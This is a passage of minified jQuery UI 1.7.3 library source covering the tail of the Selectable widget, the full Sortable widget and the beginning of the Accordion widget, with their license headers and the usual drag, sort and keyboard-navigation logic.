c=this;this.dragged=true;if(this.options.disabled){return}var e=this.options;var d=this.opos[0],h=this.opos[1],b=i.pageX,g=i.pageY;if(d>b){var f=b;b=d;d=f}if(h>g){var f=g;g=h;h=f}this.helper.css({left:d,top:h,width:b-d,height:g-h});this.selectees.each(function(){var j=a.data(this,"selectable-item");if(!j||j.element==c.element[0]){return}var k=false;if(e.tolerance=="touch"){k=(!(j.left>b||j.right<d||j.top>g||j.bottom<h))}else{if(e.tolerance=="fit"){k=(j.left>d&&j.right<b&&j.top>h&&j.bottom<g)}}if(k){if(j.selected){j.$element.removeClass("ui-selected");j.selected=false}if(j.unselecting){j.$element.removeClass("ui-unselecting");j.unselecting=false}if(!j.selecting){j.$element.addClass("ui-selecting");j.selecting=true;c._trigger("selecting",i,{selecting:j.element})}}else{if(j.selecting){if(i.metaKey&&j.startselected){j.$element.removeClass("ui-selecting");j.selecting=false;j.$element.addClass("ui-selected");j.selected=true}else{j.$element.removeClass("ui-selecting");j.selecting=false;if(j.startselected){j.$element.addClass("ui-unselecting");j.unselecting=true}c._trigger("unselecting",i,{unselecting:j.element})}}if(j.selected){if(!i.metaKey&&!j.startselected){j.$element.removeClass("ui-selected");j.selected=false;j.$element.addClass("ui-unselecting");j.unselecting=true;c._trigger("unselecting",i,{unselecting:j.element})}}}});return false},_mouseStop:function(d){var b=this;this.dragged=false;var c=this.options;a(".ui-unselecting",this.element[0]).each(function(){var e=a.data(this,"selectable-item");e.$element.removeClass("ui-unselecting");e.unselecting=false;e.startselected=false;b._trigger("unselected",d,{unselected:e.element})});a(".ui-selecting",this.element[0]).each(function(){var e=a.data(this,"selectable-item");e.$element.removeClass("ui-selecting").addClass("ui-selected");e.selecting=false;e.selected=true;e.startselected=true;b._trigger("selected",d,{selected:e.element})});this._trigger("stop",d);this.helper.remove();return false}}));a.extend(a.ui.selectable,{version:"1.7.3",defaults:{appendTo:"body",autoRefresh:true,cancel:":input,option",delay:0,distance:0,filter:"*",tolerance:"touch"}})})(jQuery);;/*
 * jQuery UI Sortable 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Sortables
 *
 * Depends:
 *	ui.core.js
 */(function(a){a.widget("ui.sortable",a.extend({},a.ui.mouse,{_init:function(){var b=this.options;this.containerCache={};this.element.addClass("ui-sortable");this.refresh();this.floating=this.items.length?(/left|right/).test(this.items[0].item.css("float")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var b=this.items.length-1;b>=0;b--){this.items[b].item.removeData("sortable-item")}},_mouseCapture:function(e,f){if(this.reverting){return false}if(this.options.disabled||this.options.type=="static"){return false}this._refreshItems(e);var d=null,c=this,b=a(e.target).parents().each(function(){if(a.data(this,"sortable-item")==c){d=a(this);return false}});if(a.data(e.target,"sortable-item")==c){d=a(e.target)}if(!d){return false}if(this.options.handle&&!f){var g=false;a(this.options.handle,d).find("*").andSelf().each(function(){if(this==e.target){g=true}});if(!g){return false}}this.currentItem=d;this._removeCurrentsFromItems();return true},_mouseStart:function(e,f,b){var g=this.options,c=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(e);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");a.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(e);this.originalPageX=e.pageX;this.originalPageY=e.pageY;if(g.cursorAt){this._adjustOffsetFromHelper(g.cursorAt)}this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};if(this.helper[0]!=this.currentItem[0]){this.currentItem.hide()}this._createPlaceholder();if(g.containment){this._setContainment()}if(g.cursor){if(a("body").css("cursor")){this._storedCursor=a("body").css("cursor")}a("body").css("cursor",g.cursor)}if(g.opacity){if(this.helper.css("opacity")){this._storedOpacity=this.helper.css("opacity")}this.helper.css("opacity",g.opacity)}if(g.zIndex){if(this.helper.css("zIndex")){this._storedZIndex=this.helper.css("zIndex")}this.helper.css("zIndex",g.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){this.overflowOffset=this.scrollParent.offset()}this._trigger("start",e,this._uiHash());if(!this._preserveHelperProportions){this._cacheHelperProportions()}if(!b){for(var d=this.containers.length-1;d>=0;d--){this.containers[d]._trigger("activate",e,c._uiHash(this))}}if(a.ui.ddmanager){a.ui.ddmanager.current=this}if(a.ui.ddmanager&&!g.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,e)}this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(e);return true},_mouseDrag:function(f){this.position=this._generatePosition(f);this.positionAbs=this._convertPositionTo("absolute");if(!this.lastPositionAbs){this.lastPositionAbs=this.positionAbs}if(this.options.scroll){var g=this.options,b=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if((this.overflowOffset.top+this.scrollParent[0].offsetHeight)-f.pageY<g.scrollSensitivity){this.scrollParent[0].scrollTop=b=this.scrollParent[0].scrollTop+g.scrollSpeed}else{if(f.pageY-this.overflowOffset.top<g.scrollSensitivity){this.scrollParent[0].scrollTop=b=this.scrollParent[0].scrollTop-g.scrollSpeed}}if((this.overflowOffset.left+this.scrollParent[0].offsetWidth)-f.pageX<g.scrollSensitivity){this.scrollParent[0].scrollLeft=b=this.scrollParent[0].scrollLeft+g.scrollSpeed}else{if(f.pageX-this.overflowOffset.left<g.scrollSensitivity){this.scrollParent[0].scrollLeft=b=this.scrollParent[0].scrollLeft-g.scrollSpeed}}}else{if(f.pageY-a(document).scrollTop()<g.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()-g.scrollSpeed)}else{if(a(window).height()-(f.pageY-a(document).scrollTop())<g.scrollSensitivity){b=a(document).scrollTop(a(document).scrollTop()+g.scrollSpeed)}}if(f.pageX-a(document).scrollLeft()<g.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()-g.scrollSpeed)}else{if(a(window).width()-(f.pageX-a(document).scrollLeft())<g.scrollSensitivity){b=a(document).scrollLeft(a(document).scrollLeft()+g.scrollSpeed)}}}if(b!==false&&a.ui.ddmanager&&!g.dropBehaviour){a.ui.ddmanager.prepareOffsets(this,f)}}this.positionAbs=this._convertPositionTo("absolute");if(!this.options.axis||this.options.axis!="y"){this.helper[0].style.left=this.position.left+"px"}if(!this.options.axis||this.options.axis!="x"){this.helper[0].style.top=this.position.top+"px"}for(var d=this.items.length-1;d>=0;d--){var e=this.items[d],c=e.item[0],h=this._intersectsWithPointer(e);if(!h){continue}if(c!=this.currentItem[0]&&this.placeholder[h==1?"next":"prev"]()[0]!=c&&!a.ui.contains(this.placeholder[0],c)&&(this.options.type=="semi-dynamic"?!a.ui.contains(this.element[0],c):true)){this.direction=h==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(e)){this._rearrange(f,e)}else{break}this._trigger("change",f,this._uiHash());break}}this._contactContainers(f);if(a.ui.ddmanager){a.ui.ddmanager.drag(this,f)}this._trigger("sort",f,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(c,d){if(!c){return}if(a.ui.ddmanager&&!this.options.dropBehaviour){a.ui.ddmanager.drop(this,c)}if(this.options.revert){var b=this;var e=b.placeholder.offset();b.reverting=true;a(this.helper).animate({left:e.left-this.offset.parent.left-b.margins.left+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollLeft),top:e.top-this.offset.parent.top-b.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){b._clear(c)})}else{this._clear(c,d)}return false},cancel:function(){var b=this;if(this.dragging){this._mouseUp();if(this.options.helper=="original"){this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else{this.currentItem.show()}for(var c=this.containers.length-1;c>=0;c--){this.containers[c]._trigger("deactivate",null,b._uiHash(this));if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",null,b._uiHash(this));this.containers[c].containerCache.over=0}}}if(this.placeholder[0].parentNode){this.placeholder[0].parentNode.removeChild(this.placeholder[0])}if(this.options.helper!="original"&&this.helper&&this.helper[0].parentNode){this.helper.remove()}a.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});if(this.domPosition.prev){a(this.domPosition.prev).after(this.currentItem)}else{a(this.domPosition.parent).prepend(this.currentItem)}return true},serialize:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};a(b).each(function(){var e=(a(d.item||this).attr(d.attribute||"id")||"").match(d.expression||(/(.+)[-=_](.+)/));if(e){c.push((d.key||e[1]+"[]")+"="+(d.key&&d.expression?e[1]:e[2]))}});return c.join("&")},toArray:function(d){var b=this._getItemsAsjQuery(d&&d.connected);var c=[];d=d||{};b.each(function(){c.push(a(d.item||this).attr(d.attribute||"id")||"")});return c},_intersectsWith:function(m){var e=this.positionAbs.left,d=e+this.helperProportions.width,k=this.positionAbs.top,j=k+this.helperProportions.height;var f=m.left,c=f+m.width,n=m.top,i=n+m.height;var o=this.offset.click.top,h=this.offset.click.left;var g=(k+o)>n&&(k+o)<i&&(e+h)>f&&(e+h)<c;if(this.options.tolerance=="pointer"||this.options.forcePointerForContainers||(this.options.tolerance!="pointer"&&this.helperProportions[this.floating?"width":"height"]>m[this.floating?"width":"height"])){return g}else{return(f<e+(this.helperProportions.width/2)&&d-(this.helperProportions.width/2)<c&&n<k+(this.helperProportions.height/2)&&j-(this.helperProportions.height/2)<i)}},_intersectsWithPointer:function(d){var e=a.ui.isOverAxis(this.positionAbs.top+this.offset.click.top,d.top,d.height),c=a.ui.isOverAxis(this.positionAbs.left+this.offset.click.left,d.left,d.width),g=e&&c,b=this._getDragVerticalDirection(),f=this._getDragHorizontalDirection();if(!g){return false}return this.floating?(((f&&f=="right")||b=="down")?2:1):(b&&(b=="down"?2:1))},_intersectsWithSides:function(e){var c=a.ui.isOverAxis(this.positionAbs.top+this.offset.click.top,e.top+(e.height/2),e.height),d=a.ui.isOverAxis(this.positionAbs.left+this.offset.click.left,e.left+(e.width/2),e.width),b=this._getDragVerticalDirection(),f=this._getDragHorizontalDirection();if(this.floating&&f){return((f=="right"&&d)||(f=="left"&&!d))}else{return b&&((b=="down"&&c)||(b=="up"&&!c))}},_getDragVerticalDirection:function(){var b=this.positionAbs.top-this.lastPositionAbs.top;return b!=0&&(b>0?"down":"up")},_getDragHorizontalDirection:function(){var b=this.positionAbs.left-this.lastPositionAbs.left;return b!=0&&(b>0?"right":"left")},refresh:function(b){this._refreshItems(b);this.refreshPositions()},_connectWith:function(){var b=this.options;return b.connectWith.constructor==String?[b.connectWith]:b.connectWith},_getItemsAsjQuery:function(b){var l=this;var g=[];var e=[];var h=this._connectWith();if(h&&b){for(var d=h.length-1;d>=0;d--){var k=a(h[d]);for(var c=k.length-1;c>=0;c--){var f=a.data(k[c],"sortable");if(f&&f!=this&&!f.options.disabled){e.push([a.isFunction(f.options.items)?f.options.items.call(f.element):a(f.options.items,f.element).not(".ui-sortable-helper"),f])}}}}e.push([a.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):a(this.options.items,this.element).not(".ui-sortable-helper"),this]);for(var d=e.length-1;d>=0;d--){e[d][0].each(function(){g.push(this)})}return a(g)},_removeCurrentsFromItems:function(){var d=this.currentItem.find(":data(sortable-item)");for(var c=0;c<this.items.length;c++){for(var b=0;b<d.length;b++){if(d[b]==this.items[c].item[0]){this.items.splice(c,1)}}}},_refreshItems:function(b){this.items=[];this.containers=[this];var h=this.items;var p=this;var f=[[a.isFunction(this.options.items)?this.options.items.call(this.element[0],b,{item:this.currentItem}):a(this.options.items,this.element),this]];var l=this._connectWith();if(l){for(var e=l.length-1;e>=0;e--){var m=a(l[e]);for(var d=m.length-1;d>=0;d--){var g=a.data(m[d],"sortable");if(g&&g!=this&&!g.options.disabled){f.push([a.isFunction(g.options.items)?g.options.items.call(g.element[0],b,{item:this.currentItem}):a(g.options.items,g.element),g]);this.containers.push(g)}}}}for(var e=f.length-1;e>=0;e--){var k=f[e][1];var c=f[e][0];for(var d=0,n=c.length;d<n;d++){var o=a(c[d]);o.data("sortable-item",k);h.push({item:o,instance:k,width:0,height:0,left:0,top:0})}}},refreshPositions:function(b){if(this.offsetParent&&this.helper){this.offset.parent=this._getParentOffset()}for(var d=this.items.length-1;d>=0;d--){var e=this.items[d];if(e.instance!=this.currentContainer&&this.currentContainer&&e.item[0]!=this.currentItem[0]){continue}var c=this.options.toleranceElement?a(this.options.toleranceElement,e.item):e.item;if(!b){e.width=c.outerWidth();e.height=c.outerHeight()}var f=c.offset();e.left=f.left;e.top=f.top}if(this.options.custom&&this.options.custom.refreshContainers){this.options.custom.refreshContainers.call(this)}else{for(var d=this.containers.length-1;d>=0;d--){var f=this.containers[d].element.offset();this.containers[d].containerCache.left=f.left;this.containers[d].containerCache.top=f.top;this.containers[d].containerCache.width=this.containers[d].element.outerWidth();this.containers[d].containerCache.height=this.containers[d].element.outerHeight()}}},_createPlaceholder:function(d){var b=d||this,e=b.options;if(!e.placeholder||e.placeholder.constructor==String){var c=e.placeholder;e.placeholder={element:function(){var f=a(document.createElement(b.currentItem[0].nodeName)).addClass(c||b.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper")[0];if(!c){f.style.visibility="hidden"}return f},update:function(f,g){if(c&&!e.forcePlaceholderSize){return}if(!g.height()){g.height(b.currentItem.innerHeight()-parseInt(b.currentItem.css("paddingTop")||0,10)-parseInt(b.currentItem.css("paddingBottom")||0,10))}if(!g.width()){g.width(b.currentItem.innerWidth()-parseInt(b.currentItem.css("paddingLeft")||0,10)-parseInt(b.currentItem.css("paddingRight")||0,10))}}}}b.placeholder=a(e.placeholder.element.call(b.element,b.currentItem));b.currentItem.after(b.placeholder);e.placeholder.update(b,b.placeholder)},_contactContainers:function(d){for(var c=this.containers.length-1;c>=0;c--){if(this._intersectsWith(this.containers[c].containerCache)){if(!this.containers[c].containerCache.over){if(this.currentContainer!=this.containers[c]){var h=10000;var g=null;var e=this.positionAbs[this.containers[c].floating?"left":"top"];for(var b=this.items.length-1;b>=0;b--){if(!a.ui.contains(this.containers[c].element[0],this.items[b].item[0])){continue}var f=this.items[b][this.containers[c].floating?"left":"top"];if(Math.abs(f-e)<h){h=Math.abs(f-e);g=this.items[b]}}if(!g&&!this.options.dropOnEmpty){continue}this.currentContainer=this.containers[c];g?this._rearrange(d,g,null,true):this._rearrange(d,null,this.containers[c].element,true);this._trigger("change",d,this._uiHash());this.containers[c]._trigger("change",d,this._uiHash(this));this.options.placeholder.update(this.currentContainer,this.placeholder)}this.containers[c]._trigger("over",d,this._uiHash(this));this.containers[c].containerCache.over=1}}else{if(this.containers[c].containerCache.over){this.containers[c]._trigger("out",d,this._uiHash(this));this.containers[c].containerCache.over=0}}}},_createHelper:function(c){var d=this.options;var b=a.isFunction(d.helper)?a(d.helper.apply(this.element[0],[c,this.currentItem])):(d.helper=="clone"?this.currentItem.clone():this.currentItem);if(!b.parents("body").length){a(d.appendTo!="parent"?d.appendTo:this.currentItem[0].parentNode)[0].appendChild(b[0])}if(b[0]==this.currentItem[0]){this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}}if(b[0].style.width==""||d.forceHelperSize){b.width(this.currentItem.width())}if(b[0].style.height==""||d.forceHelperSize){b.height(this.currentItem.height())}return b},_adjustOffsetFromHelper:function(b){if(b.left!=undefined){this.offset.click.left=b.left+this.margins.left}if(b.right!=undefined){this.offset.click.left=this.helperProportions.width-b.right+this.margins.left}if(b.top!=undefined){this.offset.click.top=b.top+this.margins.top}if(b.bottom!=undefined){this.offset.click.top=this.helperProportions.height-b.bottom+this.margins.top}},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var b=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0])){b.left+=this.scrollParent.scrollLeft();b.top+=this.scrollParent.scrollTop()}if((this.offsetParent[0]==document.body)||(this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&a.browser.msie)){b={top:0,left:0}}return{top:b.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:b.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var b=this.currentItem.position();return{top:b.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:b.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else{return{top:0,left:0}}},_cacheMargins:function(){this.margins={left:(parseInt(this.currentItem.css("marginLeft"),10)||0),top:(parseInt(this.currentItem.css("marginTop"),10)||0)}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e=this.options;if(e.containment=="parent"){e.containment=this.helper[0].parentNode}if(e.containment=="document"||e.containment=="window"){this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,a(e.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a(e.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]}if(!(/^(document|window|parent)$/).test(e.containment)){var c=a(e.containment)[0];var d=a(e.containment).offset();var b=(a(c).css("overflow")!="hidden");this.containment=[d.left+(parseInt(a(c).css("borderLeftWidth"),10)||0)+(parseInt(a(c).css("paddingLeft"),10)||0)-this.margins.left,d.top+(parseInt(a(c).css("borderTopWidth"),10)||0)+(parseInt(a(c).css("paddingTop"),10)||0)-this.margins.top,d.left+(b?Math.max(c.scrollWidth,c.offsetWidth):c.offsetWidth)-(parseInt(a(c).css("borderLeftWidth"),10)||0)-(parseInt(a(c).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,d.top+(b?Math.max(c.scrollHeight,c.offsetHeight):c.offsetHeight)-(parseInt(a(c).css("borderTopWidth"),10)||0)-(parseInt(a(c).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}},_convertPositionTo:function(f,h){if(!h){h=this.position}var c=f=="absolute"?1:-1;var e=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,g=(/(html|body)/i).test(b[0].tagName);return{top:(h.top+this.offset.relative.top*c+this.offset.parent.top*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(g?0:b.scrollTop()))*c)),left:(h.left+this.offset.relative.left*c+this.offset.parent.left*c-(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():g?0:b.scrollLeft())*c))}},_generatePosition:function(e){var h=this.options,b=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&a.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,i=(/(html|body)/i).test(b[0].tagName);if(this.cssPosition=="relative"&&!(this.scrollParent[0]!=document&&this.scrollParent[0]!=this.offsetParent[0])){this.offset.relative=this._getRelativeOffset()}var d=e.pageX;var c=e.pageY;if(this.originalPosition){if(this.containment){if(e.pageX-this.offset.click.left<this.containment[0]){d=this.containment[0]+this.offset.click.left}if(e.pageY-this.offset.click.top<this.containment[1]){c=this.containment[1]+this.offset.click.top}if(e.pageX-this.offset.click.left>this.containment[2]){d=this.containment[2]+this.offset.click.left}if(e.pageY-this.offset.click.top>this.containment[3]){c=this.containment[3]+this.offset.click.top}}if(h.grid){var g=this.originalPageY+Math.round((c-this.originalPageY)/h.grid[1])*h.grid[1];c=this.containment?(!(g-this.offset.click.top<this.containment[1]||g-this.offset.click.top>this.containment[3])?g:(!(g-this.offset.click.top<this.containment[1])?g-h.grid[1]:g+h.grid[1])):g;var f=this.originalPageX+Math.round((d-this.originalPageX)/h.grid[0])*h.grid[0];d=this.containment?(!(f-this.offset.click.left<this.containment[0]||f-this.offset.click.left>this.containment[2])?f:(!(f-this.offset.click.left<this.containment[0])?f-h.grid[0]:f+h.grid[0])):f}}return{top:(c-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():(i?0:b.scrollTop())))),left:(d-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+(a.browser.safari&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():i?0:b.scrollLeft())))}},_rearrange:function(g,f,c,e){c?c[0].appendChild(this.placeholder[0]):f.item[0].parentNode.insertBefore(this.placeholder[0],(this.direction=="down"?f.item[0]:f.item[0].nextSibling));this.counter=this.counter?++this.counter:1;var d=this,b=this.counter;window.setTimeout(function(){if(b==d.counter){d.refreshPositions(!e)}},0)},_clear:function(d,e){this.reverting=false;var f=[],b=this;if(!this._noFinalSort&&this.currentItem[0].parentNode){this.placeholder.before(this.currentItem)}this._noFinalSort=null;if(this.helper[0]==this.currentItem[0]){for(var c in this._storedCSS){if(this._storedCSS[c]=="auto"||this._storedCSS[c]=="static"){this._storedCSS[c]=""}}this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else{this.currentItem.show()}if(this.fromOutside&&!e){f.push(function(g){this._trigger("receive",g,this._uiHash(this.fromOutside))})}if((this.fromOutside||this.domPosition.prev!=this.currentItem.prev().not(".ui-sortable-helper")[0]||this.domPosition.parent!=this.currentItem.parent()[0])&&!e){f.push(function(g){this._trigger("update",g,this._uiHash())})}if(!a.ui.contains(this.element[0],this.currentItem[0])){if(!e){f.push(function(g){this._trigger("remove",g,this._uiHash())})}for(var c=this.containers.length-1;c>=0;c--){if(a.ui.contains(this.containers[c].element[0],this.currentItem[0])&&!e){f.push((function(g){return function(h){g._trigger("receive",h,this._uiHash(this))}}).call(this,this.containers[c]));f.push((function(g){return function(h){g._trigger("update",h,this._uiHash(this))}}).call(this,this.containers[c]))}}}for(var c=this.containers.length-1;c>=0;c--){if(!e){f.push((function(g){return function(h){g._trigger("deactivate",h,this._uiHash(this))}}).call(this,this.containers[c]))}if(this.containers[c].containerCache.over){f.push((function(g){return function(h){g._trigger("out",h,this._uiHash(this))}}).call(this,this.containers[c]));this.containers[c].containerCache.over=0}}if(this._storedCursor){a("body").css("cursor",this._storedCursor)}if(this._storedOpacity){this.helper.css("opacity",this._storedOpacity)}if(this._storedZIndex){this.helper.css("zIndex",this._storedZIndex=="auto"?"":this._storedZIndex)}this.dragging=false;if(this.cancelHelperRemoval){if(!e){this._trigger("beforeStop",d,this._uiHash());for(var c=0;c<f.length;c++){f[c].call(this,d)}this._trigger("stop",d,this._uiHash())}return false}if(!e){this._trigger("beforeStop",d,this._uiHash())}this.placeholder[0].parentNode.removeChild(this.placeholder[0]);if(this.helper[0]!=this.currentItem[0]){this.helper.remove()}this.helper=null;if(!e){for(var c=0;c<f.length;c++){f[c].call(this,d)}this._trigger("stop",d,this._uiHash())}this.fromOutside=false;return true},_trigger:function(){if(a.widget.prototype._trigger.apply(this,arguments)===false){this.cancel()}},_uiHash:function(c){var b=c||this;return{helper:b.helper,placeholder:b.placeholder||a([]),position:b.position,absolutePosition:b.positionAbs,offset:b.positionAbs,item:b.currentItem,sender:c?c.element:null}}}));a.extend(a.ui.sortable,{getter:"serialize toArray",version:"1.7.3",eventPrefix:"sort",defaults:{appendTo:"parent",axis:false,cancel:":input,option",connectWith:false,containment:false,cursor:"auto",cursorAt:false,delay:0,distance:1,dropOnEmpty:true,forcePlaceholderSize:false,forceHelperSize:false,grid:false,handle:false,helper:"original",items:"> *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1000}})})(jQuery);;/*
 * jQuery UI Accordion 1.7.3
 *
 * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * http://docs.jquery.com/UI/Accordion
 *
 * Depends:
 *	ui.core.js
 */(function(a){a.widget("ui.accordion",{_init:function(){var d=this.options,b=this;this.running=0;if(d.collapsible==a.ui.accordion.defaults.collapsible&&d.alwaysOpen!=a.ui.accordion.defaults.alwaysOpen){d.collapsible=!d.alwaysOpen}if(d.navigation){var c=this.element.find("a").filter(d.navigationFilter);if(c.length){if(c.filter(d.header).length){this.active=c}else{this.active=c.parent().parent().prev();c.addClass("ui-accordion-content-active")}}}this.element.addClass("ui-accordion ui-widget ui-helper-reset");if(this.element[0].nodeName=="UL"){this.element.children("li").addClass("ui-accordion-li-fix")}this.headers=this.element.find(d.header).addClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all").bind("mouseenter.accordion",function(){a(this).addClass("ui-state-hover")}).bind("mouseleave.accordion",function(){a(this).removeClass("ui-state-hover")}).bind("focus.accordion",function(){a(this).addClass("ui-state-focus")}).bind("blur.accordion",function(){a(this).removeClass("ui-state-focus")});this.headers.next().addClass("ui-accordion-content ui-helper-reset ui-widget-content ui-corner-bottom");this.active=this._findActive(this.active||d.active).toggleClass("ui-state-default").toggleClass("ui-state-active").toggleClass("ui-corner-all").toggleClass("ui-corner-top");this.active.next().addClass("ui-accordion-content-active");a("<span/>").addClass("ui-icon "+d.icons.header).prependTo(this.headers);this.active.find(".ui-icon").toggleClass(d.icons.header).toggleClass(d.icons.headerSelected);if(a.browser.msie){this.element.find("a").css("zoom","1")}this.resize();this.element.attr("role","tablist");this.headers.attr("role","tab").bind("keydown",function(e){return b._keydown(e)}).next().attr("role","tabpanel");this.headers.not(this.active||"").attr("aria-expanded","false").attr("tabIndex","-1").next().hide();if(!this.active.length){this.headers.eq(0).attr("tabIndex","0")}else{this.active.attr("aria-expanded","true").attr("tabIndex","0")}if(!a.browser.safari){this.headers.find("a").attr("tabIndex","-1")}if(d.event){this.headers.bind((d.event)+".accordion",function(e){return b._clickHandler.call(b,e,this)})}},destroy:function(){var c=this.options;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role").unbind(".accordion").removeData("accordion");this.headers.unbind(".accordion").removeClass("ui-accordion-header ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-corner-top").removeAttr("role").removeAttr("aria-expanded").removeAttr("tabindex");this.headers.find("a").removeAttr("tabindex");this.headers.children(".ui-icon").remove();var b=this.headers.next().css("display","").removeAttr("role").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active");if(c.autoHeight||c.fillHeight){b.css("height","")}},_setData:function(b,c){if(b=="alwaysOpen"){b="collapsible";c=!c}a.widget.prototype._setData.apply(this,arguments)},_keydown:function(e){var g=this.options,f=a.ui.keyCode;if(g.disabled||e.altKey||e.ctrlKey){return}var d=this.headers.length;var b=this.headers.index(e.target);var c=false;switch(e.keyCode){case f.RIGHT:case f.DOWN:c=this.headers[(b+1)%d];break;case f.LEFT:case f.UP:c=this.headers[(b-1+d)%d];break;case f.SPACE:case f.ENTER:return this._clickHandler({target:e.target},e.target)}if(c){a(e.target).attr("tabIndex","-1");a(c).attr("tabIndex","0");c.focus();return false}return true},resize:function(){var e=this.options,d;if(e.fillSpace){if(a.browser.msie){var b=this.element.parent().css("overflow");this.element.parent().css("overflow","hidden")}d=this.element.parent().height();if(a.browser.msie){this.element.parent().css("overflow",b)}this.headers.each(function(){d-=a(this).outerHeight()});var c=0;this.headers.next().each(function(){c=Math.max(c,a(this).innerHeight()-a(this).height())}).height(Math.max(0,d-c)).css("overflow","auto")}else{if(e.autoHeight){d=0;this.headers.next().each(function(){d=Math.max(d,a(this).outerHeight())}).height(d)}}},activate:function(b){var c=this._findActive(b)[0];this._clickHandler({target:c},c)},_findActive:function(b){return b?typeof b=="number"?this.headers.filter(":eq("+b+")"):this.headers.not(this.headers.not(b)):b===false?a([]):this.headers.filter(":eq(0)")},_clickHandler:function(b,f){var d=this.options;if(d.disabled){return false}if(!b.target&&d.collapsible){this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").find(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header);this.active.next().addClass("ui-accordion-content-active");var h=this.active.next(),e={options:d,newHeader:a([]),oldHeader:d.active,newContent:a([]),oldContent:h},c=(this.active=a([]));this._toggle(c,h,e);return false}var g=a(b.currentTarget||f);var i=g[0]==this.active[0];if(this.running||(!d.collapsible&&i)){return false}this.active.removeClass("ui-state-active ui-corner-top").addClass("ui-state-default ui-corner-all").find(".ui-icon").removeClass(d.icons.headerSelected).addClass(d.icons.header);this.active.next().addClass("ui-accordion-content-active");if(!i){g.removeClass("ui-state-default ui-corner-all").addClass("ui-state-active ui-corner-top").find(".ui-icon").removeClass(d.icons.header).addClass(d.icons.headerSelected);g.next().addClass("ui-accordion-content-active")}var c=g.next(),h=this.active.next(),e={options:d,newHeader:i&&d.collapsible?a([]):g,oldHeader:this.active,newContent:i&&d.collapsible?a([]):c.find("> *"),oldContent:h.find("> 